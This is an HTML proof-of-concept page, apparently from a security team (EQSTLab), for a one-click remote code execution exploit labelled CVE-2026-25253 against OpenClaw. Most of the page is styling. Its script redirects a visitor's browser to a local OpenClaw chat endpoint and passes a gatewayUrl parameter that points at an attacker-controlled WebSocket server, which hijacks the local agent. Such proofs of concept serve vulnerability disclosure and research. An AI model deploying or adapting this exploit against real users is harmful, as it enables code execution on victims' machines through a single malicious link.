<!doctype html>
<html lang="en">
<head>
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<title>Exploit Entry</title>
	<style>
		:root {
			--bg-1: #f8f4ec;
			--bg-2: #e7ddcf;
			--ink: #1f1f1f;
			--muted: #5b5b5b;
			--accent: #b13f2f;
			--accent-dark: #7f2619;
			--panel: rgba(255, 255, 255, 0.76);
			--border: rgba(31, 31, 31, 0.13);
		}

		* {
			box-sizing: border-box;
		}

		body {
			margin: 0;
			min-height: 100vh;
			font-family: "Avenir Next", "Segoe UI", sans-serif;
			color: var(--ink);
			background: linear-gradient(135deg, rgba(248, 244, 236, 0.96), rgba(231, 221, 207, 0.95));
			display: flex;
			flex-direction: column;
			align-items: center;
			justify-content: flex-start;
			gap: 18px;
			padding: 56px 24px 24px;
		}

		.team-banner {
			width: min(360px, 70vw);
		}

		.team-banner img {
			display: block;
			width: 100%;
			height: auto;
		}

		.card {
			width: min(680px, 100%);
			background: var(--panel);
			backdrop-filter: blur(6px);
			border: 1px solid var(--border);
			border-radius: 28px;
			padding: clamp(24px, 5vw, 44px);
			box-shadow: 0 24px 55px rgba(57, 44, 33, 0.18);
		}

		h1 {
			margin: 0;
			font-size: clamp(1.9rem, 4vw, 3.1rem);
			line-height: 1.08;
			letter-spacing: -0.02em;
		}

		p {
			margin: 14px 0 0;
			color: var(--muted);
			font-size: clamp(0.95rem, 2vw, 1.06rem);
			max-width: 52ch;
		}

		.panel-foot {
			display: flex;
			flex-wrap: wrap;
			gap: 16px;
			align-items: center;
			margin-top: 32px;
		}

		button {
			border: 0;
			border-radius: 999px;
			padding: 14px 30px;
			font-size: 1rem;
			font-weight: 700;
			letter-spacing: 0.01em;
			color: #fff;
			background: linear-gradient(135deg, var(--accent), var(--accent-dark));
			box-shadow: 0 10px 22px rgba(127, 38, 25, 0.3);
			cursor: pointer;
			transition: transform 0.18s ease, box-shadow 0.18s ease;
		}

		button:hover {
			transform: translateY(-2px);
			box-shadow: 0 14px 30px rgba(127, 38, 25, 0.37);
		}

		button:active {
			transform: translateY(0);
		}

	</style>
</head>
<body>
	<div class="team-banner">
		<img src="/static/EQSTLogo.png" alt="EQST Team">
	</div>
	<main class="card">
		<h1>OpenClaw 1-Click RCE</h1>
		<p>CVE-2026-25253, EQSTLab</p>
		<div class="panel-foot">
			<button onclick="doit()">Exploit</button>
		</div>
	</main>

	<script>
		const TARGET = "http://127.0.0.1:18789/chat";
		//const EXPLOIT_URL = "ws://{{ HOSTNAME }}:13337/";
		const EXPLOIT_URL = (window.location.hostname.includes("ngrok") || window.location.hostname.includes("0.0.0.0")) 
    		? `ws://${window.location.host}/` 
    		: `ws://{{ HOSTNAME }}:13337/`;

		function doit() {
			window.open("/eqst2", "_blank");
			window.location = TARGET + "?gatewayUrl=" + encodeURIComponent(EXPLOIT_URL);
		}
	</script>
</body>
</html>
